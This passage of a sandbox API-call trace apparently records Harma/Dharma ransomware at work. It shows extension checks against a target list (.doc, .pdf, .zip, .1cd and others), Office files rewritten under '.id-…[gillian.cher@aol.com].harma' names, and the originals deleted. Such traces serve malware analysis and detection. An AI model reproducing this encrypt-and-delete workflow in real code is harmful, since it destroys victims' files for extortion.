[0150.056] WriteFile (in: hFile=0x21c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0150.056] SetEndOfFile (hFile=0x21c) returned 1 [0150.057] CloseHandle (hObject=0x21c) returned 1 [0150.057] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.057] SetEndOfFile (hFile=0x34c) returned 1 [0150.061] CloseHandle (hObject=0x34c) returned 1 [0150.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd")) returned 1 [0150.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0150.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0150.062] lstrlenW (lpString=".doc") returned 4 [0150.062] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0150.062] lstrlenW (lpString=".docx") returned 5 [0150.062] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0150.062] lstrlenW (lpString=".pdf") returned 4 [0150.062] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0150.062] lstrlenW (lpString=".xls") returned 4 [0150.062] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0150.062] lstrlenW (lpString=".xlsx") returned 5 [0150.062] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0150.062] lstrlenW (lpString=".ppt") returned 4 [0150.062] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0150.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0150.062] lstrlenW (lpString=".zip") returned 4 [0150.062] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0150.062] lstrlenW (lpString=".rar") returned 4 [0150.062] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0150.062] lstrlenW (lpString=".bz2") returned 4 [0150.062] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0150.062] lstrlenW (lpString=".7z") returned 3 [0150.062] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0150.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0150.062] lstrlenW (lpString=".dbf") returned 4 [0150.062] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0150.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0150.062] lstrlenW (lpString=".1cd") returned 4 [0150.062] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0150.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0150.062] lstrlenW (lpString=".jpg") returned 4 [0150.062] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0150.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0150.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0150.063] lstrlenW (lpString=".doc") returned 4 [0150.063] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0150.063] lstrlenW (lpString=".docx") returned 5 [0150.063] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0150.063] lstrlenW (lpString=".pdf") returned 4 [0150.063] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0150.063] lstrlenW (lpString=".xls") returned 4 [0150.063] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0150.063] lstrlenW (lpString=".xlsx") returned 5 [0150.063] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0150.063] lstrlenW (lpString=".ppt") returned 4 [0150.063] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0150.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0150.063] lstrlenW (lpString=".zip") returned 4 [0150.063] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0150.063] lstrlenW (lpString=".rar") returned 4 [0150.063] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0150.063] lstrlenW (lpString=".bz2") returned 4 [0150.063] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0150.063] lstrlenW (lpString=".7z") returned 3 [0150.063] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0150.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0150.063] lstrlenW (lpString=".dbf") returned 4 [0150.063] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0150.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0150.063] lstrlenW (lpString=".1cd") returned 4 [0150.063] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0150.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0150.063] lstrlenW (lpString=".jpg") returned 4 [0150.064] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0150.064] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0150.064] lstrlenW (lpString="BCSRuntimeRes.dll") returned 17 [0150.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0150.064] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=24960) returned 1 [0150.064] CloseHandle (hObject=0x34c) returned 1 [0150.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll")) returned 0x20 [0150.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0150.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0150.065] lstrlenW (lpString=".doc") returned 4 [0150.065] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.065] lstrlenW (lpString=".docx") returned 5 [0150.065] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0150.065] lstrlenW (lpString=".pdf") returned 4 [0150.065] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.065] lstrlenW (lpString=".xls") returned 4 [0150.065] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.065] lstrlenW (lpString=".xlsx") returned 5 [0150.065] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0150.065] lstrlenW (lpString=".ppt") returned 4 [0150.065] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0150.065] lstrlenW (lpString=".zip") returned 4 [0150.065] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.065] lstrlenW (lpString=".rar") returned 4 [0150.065] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.065] lstrlenW (lpString=".bz2") returned 4 [0150.065] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.065] lstrlenW (lpString=".7z") returned 3 [0150.065] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0150.065] lstrlenW (lpString=".dbf") returned 4 [0150.065] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0150.066] lstrlenW (lpString=".1cd") returned 4 [0150.066] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0150.066] lstrlenW (lpString=".jpg") returned 4 [0150.066] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0150.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0150.066] lstrlenW (lpString=".doc") returned 4 [0150.066] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.066] lstrlenW (lpString=".docx") returned 5 [0150.066] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0150.066] lstrlenW (lpString=".pdf") returned 4 [0150.066] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.066] lstrlenW (lpString=".xls") returned 4 [0150.066] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.066] lstrlenW (lpString=".xlsx") returned 5 [0150.066] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0150.066] lstrlenW (lpString=".ppt") returned 4 [0150.066] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0150.066] lstrlenW (lpString=".zip") returned 4 [0150.066] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.066] lstrlenW (lpString=".rar") returned 4 [0150.066] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.066] lstrlenW (lpString=".bz2") returned 4 [0150.066] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.066] lstrlenW (lpString=".7z") returned 3 [0150.066] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0150.066] lstrlenW (lpString=".dbf") returned 4 [0150.066] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0150.067] lstrlenW (lpString=".1cd") returned 4 [0150.067] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0150.067] lstrlenW (lpString=".jpg") returned 4 [0150.067] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.067] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0150.067] lstrlenW (lpString="BHOINTL.DLL") returned 11 [0150.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0150.067] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=10104) returned 1 [0150.067] CloseHandle (hObject=0x34c) returned 1 [0150.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll")) returned 0x20 [0150.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0150.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0150.068] lstrlenW (lpString=".doc") returned 4 [0150.068] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0150.068] lstrlenW (lpString=".docx") returned 5 [0150.068] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0150.068] lstrlenW (lpString=".pdf") returned 4 [0150.068] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0150.068] lstrlenW (lpString=".xls") returned 4 [0150.068] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0150.068] lstrlenW (lpString=".xlsx") returned 5 [0150.068] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0150.068] lstrlenW (lpString=".ppt") returned 4 [0150.068] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0150.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0150.068] lstrlenW (lpString=".zip") returned 4 [0150.068] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0150.068] lstrlenW (lpString=".rar") returned 4 [0150.068] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0150.068] lstrlenW (lpString=".bz2") returned 4 [0150.068] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0150.068] lstrlenW (lpString=".7z") returned 3 [0150.068] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0150.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0150.069] lstrlenW (lpString=".dbf") returned 4 [0150.069] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0150.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0150.069] lstrlenW (lpString=".1cd") returned 4 [0150.069] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0150.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0150.069] lstrlenW (lpString=".jpg") returned 4 [0150.069] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0150.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0150.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0150.069] lstrlenW (lpString=".doc") returned 4 [0150.069] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0150.069] lstrlenW (lpString=".docx") returned 5 [0150.069] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0150.069] lstrlenW (lpString=".pdf") returned 4 [0150.069] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0150.069] lstrlenW (lpString=".xls") returned 4 [0150.069] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0150.069] lstrlenW (lpString=".xlsx") returned 5 [0150.069] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0150.069] lstrlenW (lpString=".ppt") returned 4 [0150.069] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0150.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0150.069] lstrlenW (lpString=".zip") returned 4 [0150.069] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0150.069] lstrlenW (lpString=".rar") returned 4 [0150.069] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0150.069] lstrlenW (lpString=".bz2") returned 4 [0150.069] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0150.069] lstrlenW (lpString=".7z") returned 3 [0150.069] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0150.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0150.070] lstrlenW (lpString=".dbf") returned 4 [0150.070] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0150.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0150.070] lstrlenW (lpString=".1cd") returned 4 [0150.070] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0150.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0150.070] lstrlenW (lpString=".jpg") returned 4 [0150.070] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0150.070] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0150.070] lstrlenW (lpString="BSTORM.VSL") returned 10 [0150.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.276] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=45968) returned 1 [0150.276] CloseHandle (hObject=0x21c) returned 1 [0150.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl")) returned 0x20 [0150.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0150.358] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.359] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0150.359] GetLastError () returned 0x0 [0150.359] ReadFile (in: hFile=0x338, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0xb390, lpOverlapped=0x0) returned 1 [0150.400] WriteFile (in: hFile=0x370, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xb3a0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xb3a0, lpOverlapped=0x0) returned 1 [0150.401] ReadFile (in: hFile=0x338, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.401] WriteFile (in: hFile=0x370, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0150.401] SetEndOfFile (hFile=0x370) returned 1 [0150.402] CloseHandle (hObject=0x370) returned 1 [0150.402] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.402] SetEndOfFile (hFile=0x338) returned 1 [0150.404] CloseHandle (hObject=0x338) returned 1 [0150.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl")) returned 1 [0150.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0150.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0150.405] lstrlenW (lpString=".doc") returned 4 [0150.405] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0150.405] lstrlenW (lpString=".docx") returned 5 [0150.405] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1 [0150.405] lstrlenW (lpString=".pdf") returned 4 [0150.405] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0150.406] lstrlenW (lpString=".xls") returned 4 [0150.406] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0150.406] lstrlenW (lpString=".xlsx") returned 5 [0150.406] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1 [0150.406] lstrlenW (lpString=".ppt") returned 4 [0150.406] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0150.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0150.406] lstrlenW (lpString=".zip") returned 4 [0150.406] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0150.406] lstrlenW (lpString=".rar") returned 4 [0150.406] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0150.406] lstrlenW (lpString=".bz2") returned 4 [0150.406] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0150.406] lstrlenW (lpString=".7z") returned 3 [0150.406] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0150.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0150.406] lstrlenW (lpString=".dbf") returned 4 [0150.406] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0150.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0150.406] lstrlenW (lpString=".1cd") returned 4 [0150.406] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0150.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0150.406] lstrlenW (lpString=".jpg") returned 4 [0150.406] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0150.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0150.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0150.406] lstrlenW (lpString=".doc") returned 4 [0150.406] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0150.406] lstrlenW (lpString=".docx") returned 5 [0150.406] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1 [0150.406] lstrlenW (lpString=".pdf") returned 4 [0150.407] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0150.407] lstrlenW (lpString=".xls") returned 4 [0150.407] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0150.407] lstrlenW (lpString=".xlsx") returned 5 [0150.407] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1 [0150.407] lstrlenW (lpString=".ppt") returned 4 [0150.407] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0150.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0150.407] lstrlenW (lpString=".zip") returned 4 [0150.407] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0150.407] lstrlenW (lpString=".rar") returned 4 [0150.407] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0150.407] lstrlenW (lpString=".bz2") returned 4 [0150.407] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0150.407] lstrlenW (lpString=".7z") returned 3 [0150.407] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0150.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0150.407] lstrlenW (lpString=".dbf") returned 4 [0150.407] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0150.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0150.407] lstrlenW (lpString=".1cd") returned 4 [0150.407] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0150.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0150.407] lstrlenW (lpString=".jpg") returned 4 [0150.407] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0150.407] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0150.407] lstrlenW (lpString="CERTINTL.DLL") returned 12 [0150.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0150.408] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=12176) returned 1 [0150.408] CloseHandle (hObject=0x338) returned 1 [0150.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll")) returned 0x20 [0150.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 